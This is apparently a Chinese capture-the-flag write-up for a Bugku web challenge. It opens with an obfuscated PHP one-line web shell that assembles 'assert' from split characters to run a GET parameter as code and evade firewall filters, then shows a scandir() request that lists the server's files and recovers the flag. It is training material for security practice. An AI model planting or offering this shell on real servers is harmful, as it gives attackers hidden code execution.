Day25
過狗一句話
送給大家一個過狗一句話
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

本題要點:php scandir()函數、assert代碼執行漏洞
php中讀取目錄下文件的方法:

最簡單的是print_r(scandir($dir)),還可以利用print_r(glob("*.*"))
scandir() //作用能掃描文件夾下的目錄和文件,返回值為所有文件名組成的一個數組
show_source() //顯示文件源碼
highlight_file() //和show_source()函數是一個意思
看題目~
構造: http://123.206.87.240:8010/ ?s=print_r(scandir('./'))
訪問的時候就成為 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

則直接獲取里面的內容 http://120.24.86.145:8010/
flag_sm1skla1).txt
得到flag
BUGKU{bugku_web_009801_a}
完成!
參考資料:
php讀取目錄及子目錄下所有文件名的方法
http://www.php.cn/manual/view/4514.html
https://www.jb51.net/article/56468.htm/
http://www.w3school.com.cn/php/func_directory_scandir.asp